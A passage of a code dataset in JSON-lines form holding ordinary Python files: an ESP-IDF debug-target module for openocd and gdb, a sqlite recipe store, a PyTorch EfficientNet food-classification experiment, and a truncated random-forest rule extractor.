processes[target] is not None:\n                    break\n            else:\n                return\n            try:\n                p = processes[target]\n                name = processes[target + '_outfile_name']\n                pos = 0\n                while True:\n                    with open(name, 'r') as f:\n                        f.seek(pos)\n                        for line in f:\n                            print(line.rstrip())\n                        pos = f.tell()\n                    if p.poll() is not None:\n                        print('\"{}\" exited with {}'.format(target, p.poll()))\n                        break\n                    time.sleep(0.5)\n            except KeyboardInterrupt:\n                print('Terminated -> exiting debug utility targets')\n        _terminate_async_target('openocd')\n        _terminate_async_target('gdbgui')\n\n    def get_project_desc(args: PropertyDict, ctx: Context) -> Any:\n        desc_path = os.path.join(args.build_dir, 'project_description.json')\n        if not os.path.exists(desc_path):\n            ensure_build_directory(args, ctx.info_name)\n        with open(desc_path, 'r') as f:\n            project_desc = json.load(f)\n            return project_desc\n\n    def openocd(action: str, ctx: Context, args: PropertyDict, openocd_scripts: Optional[str],\n                openocd_commands: str) -> None:\n        \"\"\"\n        Execute openocd as external tool\n        \"\"\"\n        if os.getenv('OPENOCD_SCRIPTS') is None:\n            raise FatalError('OPENOCD_SCRIPTS not found in the environment: Please run export.sh/export.bat', ctx)\n        openocd_arguments = os.getenv('OPENOCD_COMMANDS') if openocd_commands is None else openocd_commands\n        project_desc = get_project_desc(args, ctx)\n        if openocd_arguments is None:\n            # use default value if commands not defined in the environment nor command line\n            target = project_desc['target']\n            openocd_arguments = get_openocd_arguments(target)\n            print(\n                'Note: OpenOCD cfg not found (via env variable OPENOCD_COMMANDS nor as a --openocd-commands argument)\\n'\n                'OpenOCD arguments default to: \"{}\"'.format(openocd_arguments))\n        # script directory is taken from the environment by OpenOCD, update only if command line arguments to override\n        if openocd_scripts is not None:\n            openocd_arguments += ' -s {}'.format(openocd_scripts)\n        local_dir = project_desc['build_dir']\n        args = ['openocd'] + shlex.split(openocd_arguments)\n        openocd_out_name = os.path.join(local_dir, OPENOCD_OUT_FILE)\n        openocd_out = open(openocd_out_name, 'w')\n        try:\n            process = subprocess.Popen(args, stdout=openocd_out, stderr=subprocess.STDOUT, bufsize=1)\n        except Exception as e:\n            print(e)\n            raise FatalError(\n                'Error starting openocd. Please make sure it is installed and is present in executable paths', ctx)\n\n        processes['openocd'] = process\n        processes['openocd_outfile'] = openocd_out\n        processes['openocd_outfile_name'] = openocd_out_name\n        print('OpenOCD started as a background task {}'.format(process.pid))\n\n    def get_gdb_args(project_desc: Dict[str, Any]) -> List:\n        gdbinit = os.path.join(project_desc['build_dir'], 'gdbinit', 'gdbinit')\n        args = ['-x={}'.format(gdbinit)]\n        debug_prefix_gdbinit = project_desc.get('debug_prefix_map_gdbinit')\n        if debug_prefix_gdbinit:\n            args.append('-ix={}'.format(debug_prefix_gdbinit))\n        return args\n\n    def gdbui(action: str, ctx: Context, args: PropertyDict, gdbgui_port: Optional[str], gdbinit: Optional[str],\n              require_openocd: bool) -> None:\n        \"\"\"\n        Asynchronous GDB-UI target\n        \"\"\"\n        project_desc = get_project_desc(args, ctx)\n        local_dir = project_desc['build_dir']\n        gdb = project_desc['monitor_toolprefix'] + 'gdb'\n        generate_gdbinit_files(gdb, gdbinit, project_desc)\n\n        # this is a workaround for gdbgui\n        # gdbgui is using shlex.split for the --gdb-args option. When the input is:\n        # - '\"-x=foo -x=bar\"', would return ['foo bar']\n        # - '-x=foo', would return ['-x', 'foo'] and mess up the former option '--gdb-args'\n        # so for one item, use extra double quotes. for more items, use no extra double quotes.\n        gdb_args_list = get_gdb_args(project_desc)\n        gdb_args = '\"{}\"'.format(' '.join(gdb_args_list)) if len(gdb_args_list) == 1 else ' '.join(gdb_args_list)\n        args = ['gdbgui', '-g', gdb, '--gdb-args', gdb_args]\n        print(args)\n\n        if gdbgui_port is not None:\n            args += ['--port', gdbgui_port]\n        gdbgui_out_name = os.path.join(local_dir, GDBGUI_OUT_FILE)\n        gdbgui_out = open(gdbgui_out_name, 'w')\n        env = os.environ.copy()\n        # The only known solution for https://github.com/cs01/gdbgui/issues/359 is to set the following environment\n        # variable. The greenlet package cannot be downgraded for compatibility with other requirements (gdbgui,\n        # pygdbmi).\n        env['PURE_PYTHON'] = '1'\n        try:\n            process = subprocess.Popen(args, stdout=gdbgui_out, stderr=subprocess.STDOUT, bufsize=1, env=env)\n        except (OSError, subprocess.CalledProcessError) as e:\n            print(e)\n            if sys.version_info[:2] >= (3, 11):\n                raise SystemExit('Unfortunately, gdbgui is supported only with Python 3.10 or older. '\n                                 'See: https://github.com/espressif/esp-idf/issues/10116. '\n                                 'Please use \"idf.py gdb\" or debug in Eclipse/Vscode instead.')\n            raise FatalError('Error starting gdbgui. Please make sure gdbgui has been installed with '\n                             '\"install.{sh,bat,ps1,fish} --enable-gdbgui\" and can be started.', ctx)\n\n        processes['gdbgui'] = process\n        processes['gdbgui_outfile'] = gdbgui_out\n        processes['gdbgui_outfile_name'] = gdbgui_out_name\n        print('gdbgui started as a background task {}'.format(process.pid))\n        _check_openocd_errors(fail_if_openocd_failed, action, ctx)\n\n    def global_callback(ctx: Context, global_args: PropertyDict, tasks: List) -> None:\n        def move_to_front(task_name: str) -> None:\n            for index, task in enumerate(tasks):\n                if task.name == task_name:\n                    tasks.insert(0, tasks.pop(index))\n                    break\n\n        processes['allow_hints'] = not ctx.params['no_hints']\n        debug_targets = any([task.name in ('openocd', 'gdbgui') for task in tasks])\n        if debug_targets:\n            # Register the meta cleanup callback -> called on FatalError\n            ctx.meta['cleanup'] = debug_cleanup\n            move_to_front('gdbgui')  # possibly 2nd\n            move_to_front('openocd')  # always 1st\n            # followed by \"monitor\", \"gdb\" or \"gdbtui\" in any order\n\n            post_action = ctx.invoke(ctx.command.get_command(ctx, 'post_debug'))\n            if any([task.name in ('monitor', 'gdb', 'gdbtui') for task in tasks]):\n                post_action.action_args['block'] = 0\n            else:\n                post_action.action_args['block'] = 1\n            tasks.append(post_action)  # always last\n        if any([task.name == 'openocd' for task in tasks]):\n            for task in tasks:\n                if task.name in ('gdb', 'gdbgui', 'gdbtui'):\n                    task.action_args['require_openocd'] = True\n\n    def gdbtui(action: str, ctx: Context, args: PropertyDict, gdbinit: str, require_openocd: bool) -> None:\n        \"\"\"\n        Synchronous GDB target with text ui mode\n        \"\"\"\n        gdb(action, ctx, args, False, 1, gdbinit, require_openocd)\n\n    def gdb(action: str, ctx: Context, args: PropertyDict, batch: bool, gdb_tui: Optional[int], gdbinit: Optional[str],\n            require_openocd: bool) -> None:\n        \"\"\"\n        Synchronous GDB target\n        \"\"\"\n        watch_openocd = Thread(target=_check_openocd_errors, args=(fail_if_openocd_failed, action, ctx,))\n        watch_openocd.start()\n        processes['threads_to_join'].append(watch_openocd)\n        project_desc = get_project_desc(args, ctx)\n        gdb = project_desc['monitor_toolprefix'] + 'gdb'\n        generate_gdbinit_files(gdb, gdbinit, project_desc)\n        args = [gdb, *get_gdb_args(project_desc)]\n        if gdb_tui is not None:\n            args += ['-tui']\n        if batch:\n            args += ['--batch']\n        p = subprocess.Popen(args)\n        processes['gdb'] = p\n        while True:\n            try:\n                p.wait()\n                break\n            except KeyboardInterrupt:\n                # Catching Keyboard interrupt, as this is used for breaking running program in gdb\n                continue\n            finally:\n                watch_openocd.join()\n                try:\n                    processes['threads_to_join'].remove(watch_openocd)\n                except ValueError:\n                    # Valid scenario: watch_openocd task won't be in the list if openocd not started from idf.py\n                    pass\n\n    def coredump_info(action: str,\n                      ctx: Context,\n                      args: PropertyDict,\n                      gdb_timeout_sec: int,\n                      core: str = None,\n                      chip_rev: str = None,\n                      save_core: str = None) -> None:\n        espcoredump = _get_espcoredump_instance(ctx=ctx, args=args, gdb_timeout_sec=gdb_timeout_sec, core=core,\n                                                chip_rev=chip_rev,\n                                                save_core=save_core)\n\n        espcoredump.info_corefile()\n\n    def coredump_debug(action: str,\n                       ctx: Context,\n                       args: PropertyDict,\n                       core: str = None,\n                       chip_rev: str = None,\n                       save_core: str = None) -> None:\n        espcoredump = _get_espcoredump_instance(ctx=ctx, args=args, core=core, chip_rev=chip_rev, save_core=save_core)\n\n        espcoredump.dbg_corefile()\n\n    coredump_base = [\n        {\n            'names': ['--core', '-c'],\n            'help': 'Path to core dump file (if skipped core dump will be read from flash)',\n        },\n        {\n            'names': ['--chip-rev'],\n            'help': 'Specify the chip revision (e.g., 0.1). If provided, the corresponding ROM ELF file will be used '\n                    'for decoding the core dump, improving stack traces. This is only needed for core dumps from IDF '\n                    '<v5.1. Newer versions already contain chip revision information.',\n        },\n        {\n            'names': ['--save-core', '-s'],\n            'help': 'Save core to file. Otherwise temporary core file will be deleted.',\n        },\n    ]\n    gdb_timeout_sec_opt = {\n        'names': ['--gdb-timeout-sec'],\n        'type': INT,\n        'default': 1,\n        'help': 'Overwrite the default internal delay for gdb responses',\n    }\n    fail_if_openocd_failed = {\n        'names': ['--require-openocd', '--require_openocd'],\n        'help': 'Fail this target if openocd (this targets dependency) failed.\\n',\n        'is_flag': True,\n        'default': False,\n    }\n    gdbinit = {\n        'names': ['--gdbinit'],\n        'help': 'Specify the name of gdbinit file to use\\n',\n        'default': None,\n    }\n    debug_actions = {\n        'global_action_callbacks': [global_callback],\n        'actions': {\n            'openocd': {\n                'callback': openocd,\n                'help': 'Run openocd from current path',\n                'options': [\n                    {\n                        'names': ['--openocd-scripts', '--openocd_scripts'],\n                        'help':\n                            ('Script directory for openocd cfg files.\\n'),\n                        'default':\n                            None,\n                    },\n                    {\n                        'names': ['--openocd-commands', '--openocd_commands'],\n                        'help':\n                            ('Command line arguments for openocd.\\n'),\n                        'default': None,\n                    }\n                ],\n                'order_dependencies': ['all', 'flash'],\n            },\n            'gdb': {\n                'callback': gdb,\n                'help': 'Run the GDB.',\n                'options': [\n                    {\n                        'names': ['--batch'],\n                        'help': ('exit after processing gdbinit.\\n'),\n                        'hidden': True,\n                        'is_flag': True,\n                        'default': False,\n                    },\n                    {\n                        'names': ['--gdb-tui', '--gdb_tui'],\n                        'help': ('run gdb in TUI mode\\n'),\n                        'default': None,\n                    }, gdbinit, fail_if_openocd_failed\n                ],\n                'order_dependencies': ['all', 'flash'],\n            },\n            'gdbgui': {\n                'callback': gdbui,\n                'help': 'GDB UI in default browser.',\n                'options': [\n                    {\n                        'names': ['--gdbgui-port', '--gdbgui_port'],\n                        'help':\n                            ('The port on which gdbgui will be hosted. Default: 5000\\n'),\n                        'default':\n                            None,\n                    }, gdbinit, fail_if_openocd_failed\n                ],\n                'order_dependencies': ['all', 'flash'],\n            },\n            'gdbtui': {\n                'callback': gdbtui,\n                'help': 'GDB TUI mode.',\n                'options': [gdbinit, fail_if_openocd_failed],\n                'order_dependencies': ['all', 'flash'],\n            },\n            'coredump-info': {\n                'callback': coredump_info,\n                'help': 'Print crashed task’s registers, callstack, list of available tasks in the system, '\n                        'memory regions and contents of memory stored in core dump (TCBs and stacks)',\n                'options': coredump_base + [PORT, BAUD_RATE, gdb_timeout_sec_opt],  # type: ignore\n                'order_dependencies': ['all', 'flash'],\n            },\n            'coredump-debug': {\n                'callback': coredump_debug,\n                'help': 'Create core dump ELF file and run GDB debug session with this file.',\n                'options': coredump_base + [PORT, BAUD_RATE],  # type: ignore\n                'order_dependencies': ['all', 'flash'],\n            },\n            'post-debug': {\n                'callback': post_debug,\n                'help': 'Utility target to read the output of async debug action and stop them.',\n                'options': [\n                    {\n                        'names': ['--block', '--block'],\n                        'help':\n                            ('Set to 1 for blocking the console on the outputs of async debug actions\\n'),\n                        'default': 0,\n                    },\n                ],\n                'order_dependencies': [],\n            },\n            'post_debug': {\n                'callback': post_debug,\n                'deprecated': {\n                    'since': 'v4.4',\n                    'removed': 'v5.0',\n                    'exit_with_error': True,\n                    'message': 'Have you wanted to run \"post-debug\" instead?',\n                },\n                'hidden': True,\n                'help': 'Utility target to read the output of async debug action and stop them.',\n                'options': [\n                    {\n                        'names': ['--block', '--block'],\n                        'help':\n                            ('Set to 1 for blocking the console on the outputs of async debug actions\\n'),\n                        'default': 0,\n                    },\n                ],\n                'order_dependencies': [],\n            },\n        },\n    }\n\n    return debug_actions\n","repo_name":"espressif/esp-idf","sub_path":"tools/idf_py_actions/debug_ext.py","file_name":"debug_ext.py","file_ext":"py","file_size_in_byte":31335,"program_lang":"python","lang":"en","doc_type":"code","stars":11541,"dataset":"github-code","pt":"3"}
+{"seq_id":"33759583958","text":"import json\nimport logging\nimport attr\nfrom omnom.db import OmnomDB\n\nlogger = logging.getLogger(__name__)\n\n\n@attr.s(kw_only=True)\nclass RecipeEntry():\n    \"\"\" A RecipeEntry, comprised of name, description, and type_id\"\"\"\n    # pylint: disable=too-few-public-methods\n\n    id = attr.ib(default=None)  # pylint: disable=invalid-name\n    name = attr.ib()\n    description = attr.ib()\n    type_id = attr.ib(default=-1)\n    photo = attr.ib(default=None)\n    ingredients = attr.ib(default='')\n    instructions = attr.ib(default='')\n\n    @classmethod\n    def from_dict(cls, recipe_dict):\n        \"\"\" Create RecipeEntry from recipe db row. \"\"\"\n        new_recipe = RecipeEntry(id=recipe_dict['id'],\n                                 name=recipe_dict['name'],\n                                 description=recipe_dict['description'],\n                                 type_id=recipe_dict['type_id'],\n                                 photo=recipe_dict['photo'])\n        if 'ingredients' in recipe_dict.keys():\n            new_recipe.ingredients = recipe_dict['ingredients']\n        if 'instructions' in recipe_dict.keys():\n            new_recipe.instructions = recipe_dict['instructions']\n        return new_recipe\n\n\nclass RecipeDB(OmnomDB):\n    \"\"\" Interface to the database for storing recipes \"\"\"\n\n    NONE_FOOD_TYPE = 'None'\n\n    def __init__(self, db_filename, init_db=False):\n        \"\"\" Connect to sqlite db located at db_filename \"\"\"\n        super().__init__(db_filename=db_filename, init_db=init_db)\n\n    def add_type(self, food_type):\n        \"\"\" Add a food type to the database. \"\"\"\n        self._db_insert('INSERT INTO food_type (food_type) VALUES (?)', (food_type,))\n        logging.debug('Added %s into food_type table', food_type)\n\n    def get_type_id(self, food_type):\n        \"\"\" Get food type given name. \"\"\"\n        cursor = self._db_query('SELECT id from food_type WHERE food_type=?', (food_type,))\n        ret = cursor.fetchone()\n        if ret is None:\n            return ret\n        return ret[0]\n\n    def get_food_type(self, type_id):\n        \"\"\" Get food type given id# \"\"\"\n        cursor = self._db_query('SELECT food_type from food_type WHERE id=?', (type_id,))\n        ret = cursor.fetchone()\n        if ret is None:\n            return self.NONE_FOOD_TYPE\n        return ret[0]\n\n    def get_all_types(self):\n        \"\"\" Return dict of food types \"\"\"\n        cursor = self._db_query('SELECT * from food_type')\n        ret = cursor.fetchall()\n        food_types = {}\n        for row in ret:\n            food_types[row['id']] = row['food_type']\n        return food_types\n\n    def add_recipe(self, recipe):\n        \"\"\" Add a recipe to the database \"\"\"\n        sql = ('INSERT INTO recipe (name, description, type_id, ingredients, instructions, photo) '\n               'VALUES (?,?,?,?,?,?)')\n        recipe_id = self._db_insert(sql, (recipe.name, recipe.description, recipe.type_id,\n                                          recipe.ingredients, recipe.instructions, recipe.photo))\n        return recipe_id\n\n    def get_recipe(self, recipe_id):\n        \"\"\" Get full recipe given recipe_id# \"\"\"\n        cursor = self._db_query('SELECT * from recipe WHERE id=?', (recipe_id,))\n        ret = cursor.fetchone()\n        if ret is None:\n            return None\n        return RecipeEntry.from_dict(ret)\n\n    def update_recipe(self, recipe):\n        \"\"\" Update recipe in db \"\"\"\n        sql = ('UPDATE recipe SET name=?, description=?, type_id=?, ingredients=?, '\n               'instructions=?, photo=? WHERE id=?')\n        self._db_insert(sql, (recipe.name, recipe.description, recipe.type_id,\n                              recipe.ingredients, recipe.instructions,\n                              recipe.photo, recipe.id))\n\n    def delete_recipe(self, recipe_id):\n        \"\"\" Delete recipe from database \"\"\"\n        self.conn.execute('DELETE FROM recipe WHERE id = ?', (recipe_id,))\n        self.conn.commit()\n\n    def get_all_recipes(self):\n        \"\"\" Get all recipes from the db \"\"\"\n        recipes = []\n        cursor = self._db_query('SELECT id, name, description, type_id, photo from recipe')\n        for recipe_row in cursor.fetchall():\n            recipe = RecipeEntry.from_dict(recipe_row)\n            recipes.append(recipe)\n        return recipes\n","repo_name":"abbbey/omnom","sub_path":"omnom/recipe_db.py","file_name":"recipe_db.py","file_ext":"py","file_size_in_byte":4256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29862207216","text":"import sys\nsys.path.append(\"E:/projekty python/PyTorch course/going_modular\")\nsys.path.append(\"E:/projekty python/PyTorch course\")\n\nimport data_setup # noqa 5501\nimport model_builder # noqa 5501\nimport engine # noqa 5501\nimport utils # noqa 5501\nfrom helper_functions import plot_loss_curves, create_writer, download_data # noqa 5501\n\nimport torch # noqa 5501\nimport torchvision # noqa 5501\nfrom torch import nn # noqa 5501\nfrom torchvision import transforms, datasets # noqa 5501\nfrom torchinfo import summary # noqa 5501\nfrom torchmetrics import ConfusionMatrix # noqa 5501\nfrom torch.utils.data import DataLoader # noqa 5501\nfrom torch.utils.tensorboard import SummaryWriter # noqa 5501\n\nimport random # noqa 5501\nfrom typing import List, Tuple # noqa 5501\nfrom PIL import Image # noqa 5501\nfrom timeit import default_timer as timer # noqa 5501\nimport matplotlib.pyplot as plt # noqa 5501\nimport argparse # noqa 5501\nfrom pathlib import Path # noqa 5501\n\n\ndef pred_and_plot_image(model: nn.Module,\n                        image_path: str,\n                        class_names: List[str],\n                        image_size: Tuple[int, int] = (224, 224),\n                        transform: torchvision.transforms = None,\n                        device: torch.device = \"cuda\"):\n    # Open an image\n    img = Image.open(image_path)\n\n    # Create transformation\n    if transform:\n        image_transform = transform\n    else:\n        image_transform = transforms.Compose([\n            transforms.Resize(image_size),\n            transforms.ToTensor(),\n            transforms.Normalize(mean=[0.485, 0.456, 0.406],\n                                 std=[0.229, 0.224, 0.225])\n        ])\n\n    model.to(device)\n\n    model.eval()\n    with torch.inference_mode():\n        transformed_image = image_transform(img).unsqueeze(dim=0)\n        image_pred = model(transformed_image.to(device))\n\n    img_pred_probs = torch.softmax(input=image_pred, dim=1)\n    img_label = torch.argmax(input=img_pred_probs, dim=1)\n    plt.figure()\n    plt.imshow(img)\n    plt.title(f'Pred: {class_names[img_label]} | Prob: {img_pred_probs.max():.3f}') # noqa 5501\n    plt.axis(False)\n    plt.show()\n\n\ndef create_effnetb0(out_features,\n                    device):\n    effnetb0_weights = torchvision.models.EfficientNet_B0_Weights.DEFAULT\n    model = torchvision.models.efficientnet_b0(weights=effnetb0_weights).to(device) # noqa 5501\n\n    for param in model.features.parameters():\n        param.requires_grad = False\n\n    utils.set_seeds(42)\n\n    # # Set cllasifier to suit problem\n    model.classifier = nn.Sequential(\n        nn.Dropout(p=0.2, inplace=True),\n        nn.Linear(in_features=1280,\n                  out_features=out_features,\n                  bias=True).to(device))\n\n    model.name = \"effnetb0\"\n    return model\n\n\ndef create_effnetb2(out_features,\n                    device):\n    effnetb2_weights = torchvision.models.EfficientNet_B2_Weights.DEFAULT\n    model = torchvision.models.efficientnet_b2(weights=effnetb2_weights).to(device) # noqa 5501\n\n    for param in model.features.parameters():\n        param.requires_grad = False\n\n    utils.set_seeds(42)\n\n    # # Set cllasifier to suit problem\n    model.classifier = nn.Sequential(\n        nn.Dropout(p=0.2, inplace=True),\n        nn.Linear(in_features=1408,\n                  out_features=out_features,\n                  bias=True).to(device))\n\n    model.name = \"effnetb2\"\n    return model\n\n\ndef main():\n\n    args = utils.parse_arguments()\n    BATCH_SIZE = args.batch_size\n    LEARNING_RATE = args.lr\n\n    device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n    utils.set_seeds(42)\n\n    # # Download data\n    data_10_percent_path = download_data(source=\"https://github.com/mrdbourke/pytorch-deep-learning/raw/main/data/pizza_steak_sushi.zip\", # noqa 5501\n                                         destination=\"pizza_steak_sushi\")  # noqa 5501\n\n    data_20_percent_path = download_data(source=\"https://github.com/mrdbourke/pytorch-deep-learning/raw/main/data/pizza_steak_sushi_20_percent.zip\", # noqa 5501\n                                         destination=\"pizza_steak_sushi_20_percent\") # noqa 5501\n\n    # # Setup data dir\n    train_dir_10_percent = data_10_percent_path / \"train\"\n    train_dir_20_percent = data_20_percent_path / \"train\"\n    test_dir = data_10_percent_path / \"test\"\n\n    # # Setup manual transform\n    normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n                                     std=[0.229, 0.224, 0.225])\n\n    simple_transform = transforms.Compose([\n        transforms.Resize((224, 224)),\n        transforms.ToTensor(),\n        normalize])\n\n    # # Create data loaders\n    train_dataloader_10_percent, test_dataloader, class_names = data_setup.create_dataloaders( # noqa 5501\n        train_dir=train_dir_10_percent, # noqa 5501\n        test_dir=test_dir, # noqa 5501\n        transform=simple_transform, # noqa 5501\n        batch_size=BATCH_SIZE )# noqa 5501\n\n    train_dataloader_20_percent, test_dataloader, class_names = data_setup.create_dataloaders( # noqa 5501\n        train_dir=train_dir_20_percent, # noqa 5501\n        test_dir=test_dir, # noqa 5501\n        transform=simple_transform, # noqa 5501\n        batch_size=BATCH_SIZE )# noqa 5501\n\n    # # # Get a summary of the model\n    # print(summary(effnetb2,\n    #               input_size=(32, 3, 224, 224),\n    #               verbose=0,\n    #               col_names=[\"input_size\", \"output_size\", \"num_params\", \"trainable\"], # noqa 5501\n    #               col_width=20,\n    #               row_settings=[\"var_names\"]))\n\n    # # # Create experiment cases\n    # epochs = [5, 10]\n    # epochs = [10]\n    # models = [\"effnetb0\", \"effnetb2\"]\n    # models = [\"effnetb2\"]\n    # train_dataloaders = {\"data_10_percent\": train_dataloader_10_percent,\n    #                      \"data_20_precent\": train_dataloader_20_percent}\n    # train_dataloaders = {\"data_20_precent\": train_dataloader_20_percent}\n\n    # # # Experiment\n    # utils.set_seeds(42)\n    # OUT_FEATURES = len(class_names)\n\n    # experiment_number = 0\n    # for dataloader_name, train_dataloader in train_dataloaders.items():\n    #     for epoch in epochs:\n    #         for model_name in models:\n    #             experiment_number += 1\n    #             print(f\"[INFO] Experiment number: {experiment_number}\")\n    #             print(f\"[INFO] Model: {model_name}\")\n    #             print(f\"[INFO] DataLoader: {dataloader_name}\")\n    #             print(f\"[INFO] Number of epochs: {epoch}\")\n    #             if model_name == \"effnetb0\":\n    #                 model = create_effnetb0(out_features=OUT_FEATURES,\n    #                                         device=device)\n    #             else:\n    #                 model = create_effnetb2(out_features=OUT_FEATURES,\n    #                                         device=device)\n\n    #             loss_fn = nn.CrossEntropyLoss()\n    #             optimizer = torch.optim.Adam(model.parameters(), lr=LEARNING_RATE) # noqa 5501\n\n    #             engine.train(model=model,\n    #                          train_dataloader=train_dataloader,\n    #                          test_dataloader=test_dataloader,\n    #                          optimizer=optimizer,\n    #                          loss_fn=loss_fn,\n    #                          epochs=epoch,\n    #                          device=device,\n    #                          writer=create_writer(experiment_name=dataloader_name, # noqa 5501\n    #                                               model_name=model_name,\n    #                                               extra=f'{epoch}_epochs'))\n\n    #             # # Save model\n    #             save_filepath = f\"07_{model_name}_{dataloader_name}_{epoch}_epochs.pth\" # noqa 5501\n    #             utils.save_model(model=model,\n    #                              target_dir=\"../models\",\n    #                              model_name=save_filepath)\n    #             print(\"-\"*50 + \"\\n\")\n\n    # # Import best model\n    best_model_path = \"../models/07_effnetb2_data_20_precent_10_epochs.pth\"\n    best_model = create_effnetb2(out_features=3, device=device)\n    best_model.load_state_dict(torch.load(best_model_path))\n    effnetb2_model_size = Path(best_model_path).stat().st_size // (1024*1024)\n    print(f\"Model size {effnetb2_model_size}\")\n\n    # # Predict on data\n\n    img_to_plot = 10\n    test_image_path_list = list(Path(test_dir).glob(\"*/*.jpg\"))\n    img_path_sample = random.sample(population=test_image_path_list,\n                                    k=img_to_plot)\n\n    for img_path in img_path_sample:\n        pred_and_plot_image(model=best_model,\n                            image_path=img_path,\n                            class_names=class_names,\n                            image_size=(224, 224))\n\n    custom_img_path = \"../data/04-pizza-dad.jpeg\"\n    pred_and_plot_image(model=best_model,\n                        image_path=custom_img_path,\n                        class_names=class_names,\n                        image_size=(224, 224))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Matthev00/Pytorch_learning","sub_path":"07_Experiment_Tracking/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73982337041","text":"import numpy as np\r\nimport math\r\n\r\n\r\nclass Extractor(object):\r\n    def __init__(self, estimators=None, phi=0, theta=0, psi=0):\r\n        # phi:rule阈值    theta:node阈值    psi:签名取模的参数\r\n        self._estimators = estimators\r\n        self._forest_paths = []         # 存森林的所有路径\r\n        self.scale = 0\r\n        self._forest_formulae = []      # 存filter后的所有路径；元素shape(2, n_feature)，第一行上界，第二行下界\r\n        self._forest_formulae_visited = []\r\n        self._forest_values = []        # 存filter后的所有路径的叶子值\r\n        self._forest_weights = []       # 存filter后的所有路径的权重\r\n        self._forest_signatures = []    # 存filter后的所有路径的签名\r\n        self.n_estimators = estimators.n_estimators\r\n        self.n_classes = estimators.n_classes_\r\n        self.n_features = estimators.n_features_\r\n        self.n_outputs = estimators.n_outputs_\r\n        self._phi = phi\r\n        self._theta = theta\r\n        self._psi = psi\r\n        self.n_original_leaves_num = 0\r\n\r\n        self._quality = []\r\n        self._ig = []\r\n        self.max_rule = 0   # rule质量最好的quality值\r\n        self.max_node = 0   # node信息增益最高的值\r\n        self.min_rule = 1\r\n        self.min_node = 1\r\n\r\n    def set_param(self, phi, theta, psi):\r\n        self._phi = phi\r\n        self._theta = theta\r\n        self._psi = psi\r\n\r\n    def opt_set_quality(self, quality, ig):\r\n        self._quality = quality\r\n        self._ig = ig\r\n\r\n    def opt_get_quality(self):\r\n        return self._quality, self._ig\r\n\r\n    def opt_clear_quality(self):\r\n        self._quality = []\r\n        self._ig = []\r\n\r\n    def extract_tree_paths(self, estimator):\r\n        children_left = estimator.tree_.children_left\r\n        children_right = estimator.tree_.children_right\r\n        # print(children_left)\r\n        # print(children_right)\r\n\r\n        result = list()\r\n        stack = [(0, [])]\r\n        while len(stack):\r\n            # print(stack)\r\n            node, p = stack.pop()\r\n            if children_right[node] == children_left[node]:\r\n                p.append(node)\r\n                result.append(p[:])\r\n                # print(result)\r\n            else:\r\n                p.append(node)\r\n                if children_right[node] != -1:\r\n                    stack.append((children_right[node], p[:]))\r\n                if children_left[node] != -1:\r\n                    stack.append((children_left[node], p[:]))\r\n\r\n        return result\r\n\r\n    def extract_forest_paths(self):\r\n        for estimator in self._estimators:\r\n            paths = self.extract_tree_paths(estimator)\r\n            for path in paths:\r\n                self.scale += (len(path)-1)\r\n            self._forest_paths.append(paths)\r\n\r\n    def count_quality(self):\r\n        res_quality = []\r\n        _n_classes = self._estimators.n_classes_\r\n        for index, tree in enumerate(self._forest_paths):\r\n            acc = self._estimators.trees_oob_scores[index]\r\n            _tree = self._estimators[index].tree_\r\n            rule_quality = []\r\n            node_quality = []\r\n            for rule in tree:\r\n                _node_quality = []\r\n                self.n_original_leaves_num += 1\r\n\r\n                quality = (1-(_tree.impurity[rule[-1]]/math.log(_n_classes, 2)))*acc  # rule质量公式\r\n                rule_quality.append(quality)\r\n\r\n                if quality > self.max_rule:\r\n                    self.max_rule = quality\r\n                if quality < self.min_rule:\r\n                    self.min_rule = quality\r\n\r\n                for node in rule[:-1]:\r\n                    father_value = _tree.value[node].sum()\r\n                    l_value = _tree.value[_tree.children_left[node]].sum()\r\n                    r_value = _tree.value[_tree.children_right[node]].sum()\r\n                    l_entropy = _tree.impurity[_tree.children_left[node]]\r\n                    r_entropy = _tree.impurity[_tree.children_right[node]]\r\n                    ig = _tree.impurity[\r\n                             node] - l_value / father_value * l_entropy - r_value / father_value * r_entropy  # 节点的信息增益\r\n\r\n                    _node_quality.append(ig)\r\n                    if ig > self.max_node:\r\n                        self.max_node = ig\r\n                    if ig < self.min_node:\r\n                        self.min_node = ig\r\n                node_quality.append(_node_quality)\r\n            self._quality.append(rule_quality)\r\n            self._ig.append(node_quality)\r\n\r\n\r\n    def rule_filter(self):\r\n        if len(self._quality) == 0:\r\n            self.count_quality()\r\n            # print('count')\r\n\r\n        if self._phi > self.max_rule or self._theta > self.max_node:\r\n            return False\r\n\r\n        for index, tree in enumerate(self._forest_paths):\r\n            for j, rule in enumerate(tree):\r\n                quality = self._quality[index][j]\r\n                if quality >= self._phi:\r\n                    if self.node_filter(j, index) == 1:\r\n                        signature = np.array(self._estimators[index].tree_.value[rule[-1]][0])\r\n                        leaf_sum = self._estimators[index].tree_.value[rule[-1]].sum()\r\n                        signature = np.ceil(signature / leaf_sum / self._psi)\r\n                        self._forest_signatures.append(tuple(signature))    # 存签名\r\n                        self._forest_weights.append(quality)  # 存rule权重\r\n\r\n        return True\r\n\r\n        # _n_classes = self._estimators.n_classes_\r\n        # for index, tree in enumerate(self._forest_paths):\r\n        #     acc = self._estimators.trees_oob_scores[index]\r\n        #     for rule in tree:\r\n        #         self.n_original_leaves_num += 1\r\n        #         quality = (1-(self._estimators[index].tree_.impurity[rule[-1]]/math.log(_n_classes, 2)))*acc  # rule质量公式\r\n        #\r\n        #         if quality > self.max_rule:\r\n        #             self.max_rule = quality\r\n        #         if quality < self.min_rule:\r\n        #             self.min_rule = quality\r\n        #\r\n        #         if quality >= self._phi:\r\n        #             if self.node_filter(rule, index) == 1:\r\n        #                 signature = np.array(self._estimators[index].tree_.value[rule[-1]][0])\r\n        #                 leaf_sum = self._estimators[index].tree_.value[rule[-1]].sum()\r\n        #                 signature = np.ceil(signature / leaf_sum / self._psi)\r\n        #                 self._forest_signatures.append(tuple(signature))    # 存签名\r\n        #                 self._forest_weights.append(quality)  # 存rule权重\r\n\r\n            # for rule in tree:\r\n            #     self.node_filter(rule, index)\r\n\r\n    def node_filter(self, j, index):\r\n        _tree = self._estimators[index].tree_\r\n        _feature = 